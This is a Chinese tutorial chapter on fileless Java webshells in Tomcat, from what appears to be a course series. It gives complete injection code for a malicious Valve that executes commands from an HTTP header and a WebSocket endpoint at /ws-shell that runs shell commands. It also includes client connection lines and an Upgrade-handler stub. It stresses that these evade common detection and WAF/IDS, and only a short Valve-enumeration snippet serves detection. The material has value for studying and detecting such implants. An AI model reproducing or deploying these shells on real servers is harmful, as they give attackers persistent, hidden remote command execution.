内存马 - 02.5 Valve与WebSocket型

第2章只覆盖了 Servlet 规范层面,Tomcat 自身还有两个重要的注入点

Tomcat Pipeline-Valve 机制

什么是 Valve

Valve 是 Tomcat 私有的请求处理机制,不属于 Servlet 规范。每个容器(Engine/Host/Context)都有一个 Pipeline,Pipeline 由多个 Valve 串联组成

1
2
3
4
5
6
7
8
9
10
11
12
13
请求到达

Engine Pipeline
└── EngineValve1 → EngineValve2 → StandardEngineValve

Host Pipeline
└── HostValve1 → HostValve2 → StandardHostValve

Context Pipeline
└── ContextValve1 → StandardContextValve ← Valve 型内存马注入点

Wrapper Pipeline
└── StandardWrapperValve → Filter Chain → Servlet

关键认知: Valve 在 Filter 之前执行,比 Filter 型内存马更早触发

Valve vs Filter

维度 Valve Filter
规范 Tomcat 私有 Servlet 标准
执行时机 Filter 之前 Servlet 之前
可移植性 仅 Tomcat 所有 Servlet 容器
接口参数 Request, Response (Tomcat 内部类) ServletRequest, ServletResponse
检测难度 较少被检测 常见检测目标

注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 1. 获取 StandardContext
StandardContext standardContext = getStandardContext(request);

// 2. 获取 Pipeline
Pipeline pipeline = standardContext.getPipeline();

// 3. 创建恶意 Valve
ValveBase evilValve = new ValveBase() {
@Override
public void invoke(Request request, Response response)
throws IOException, ServletException {
String cmd = request.getHeader("X-Valve-Cmd");
if (cmd != null) {
String os = System.getProperty("os.name").toLowerCase();
String[] cmds = os.contains("win")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process p = new ProcessBuilder(cmds).start();
InputStream in = p.getInputStream();
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
response.getOutputStream().write(buf, 0, len);
}
response.getOutputStream().flush();
return;
}
// 传递给下一个 Valve
getNext().invoke(request, response);
}
};

// 4. 添加到 Pipeline
pipeline.addValve(evilValve);

Valve 型的优势

  1. 执行时机更早:在所有 Filter 和 Servlet 之前
  2. 检测盲区:大部分内存马检测工具只扫描 Filter/Servlet/Listener
  3. 接口更底层:直接操作 Tomcat 内部 Request/Response,能力更强

检测 Valve

1
2
3
4
5
6
7
8
9
10
11
// 枚举 Pipeline 中所有 Valve
Pipeline pipeline = standardContext.getPipeline();
Valve[] valves = pipeline.getValves();
for (Valve valve : valves) {
System.out.println("Valve: " + valve.getClass().getName());
// 正常的 Valve 一般是:
// - StandardContextValve
// - ErrorReportValve
// - AccessLogValve
// 其他都值得关注
}

WebSocket 型内存马

为什么用 WebSocket

  1. 长连接:不需要反复发 HTTP 请求,一次握手持续通信
  2. 双向通信:服务端可以主动推送
  3. 绕过检测:很多 WAF/IDS 不检查 WebSocket 流量
  4. 类似交互式 Shell:接近终端的体验

Tomcat WebSocket 架构

1
2
3
4
5
6
7
8
9
HTTP Upgrade 请求 (Sec-WebSocket-Key)

WsFilter (Tomcat 内置)

ServerEndpointConfig → Endpoint 实例

WebSocket 连接建立

onOpen / onMessage / onClose / onError

注入方式:通过 ServerContainer 注册 Endpoint

1
2
3
4
5
6
7
8
9
10
11
12
// 1. 获取 ServerContainer
ServerContainer serverContainer = (ServerContainer) request
.getServletContext()
.getAttribute("javax.websocket.server.ServerContainer");

// 2. 构造 ServerEndpointConfig
ServerEndpointConfig config = ServerEndpointConfig.Builder
.create(EvilEndpoint.class, "/ws-shell")
.build();

// 3. 注册
serverContainer.addEndpoint(config);

恶意 Endpoint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@ServerEndpoint("/ws-shell")
public class EvilEndpoint {
@OnOpen
public void onOpen(Session session) {
session.getAsyncRemote().sendText("connected");
}

@OnMessage
public void onMessage(String message, Session session) {
try {
String os = System.getProperty("os.name").toLowerCase();
String[] cmds = os.contains("win")
? new String[]{"cmd.exe", "/c", message}
: new String[]{"/bin/sh", "-c", message};
Process p = new ProcessBuilder(cmds).start();
InputStream in = p.getInputStream();
byte[] buf = new byte[4096];
int len;
StringBuilder sb = new StringBuilder();
while ((len = in.read(buf)) != -1) {
sb.append(new String(buf, 0, len));
}
session.getAsyncRemote().sendText(sb.toString());
} catch (Exception e) {
session.getAsyncRemote().sendText("Error: " + e.getMessage());
}
}

@OnClose
public void onClose(Session session) {}
}

客户端连接

1
2
3
4
5
6
7
// 浏览器 JavaScript
let ws = new WebSocket("ws://target:8080/ws-shell");
ws.onmessage = (e) => console.log(e.data);
ws.send("whoami");

// 或者用 wscat 命令行工具
// wscat -c ws://target:8080/ws-shell

Upgrade 型内存马(了解)

Tomcat 支持 HTTP Upgrade 机制(HTTP/1.1 → WebSocket、HTTP/2 等),可以注册自定义的 HttpUpgradeHandler 来接管连接

1
2
3
4
5
6
7
8
9
10
11
12
13
// 自定义 UpgradeHandler
public class EvilUpgradeHandler implements HttpUpgradeHandler {
@Override
public void init(WebConnection wc) {
// 获取原始 TCP 流
ServletInputStream in = wc.getInputStream();
ServletOutputStream out = wc.getOutputStream();
// 实现自定义协议通信...
}

@Override
public void destroy() {}
}

这种方式可以完全脱离 HTTP 协议,使用自定义二进制协议通信

各注入点执行顺序总结

1
2
3
4
5
6
7
8
9
10
11
12
13
请求到达 Tomcat

① Valve (Pipeline) ← 最早

② Listener (requestInitialized)

Filter (doFilter) ← 最常用

④ Interceptor (preHandle) ← Spring 才有

⑤ Servlet / Controller ← 最晚

WebSocket (如果是 WS 请求则走另一条路)

练习

  1. 在靶场中注入 Valve 型内存马,对比与 Filter 型的执行顺序
  2. 实现 WebSocket 型内存马,用 wscat 连接测试
  3. 用 Pipeline.getValves() 枚举所有 Valve,识别异常 Valve
  4. 思考:WebSocket 内存马对 WAF/IDS 有什么特殊的绕过效果?

上一章 目录 下一章
02-Servlet型内存马 内存马 03-Spring型内存马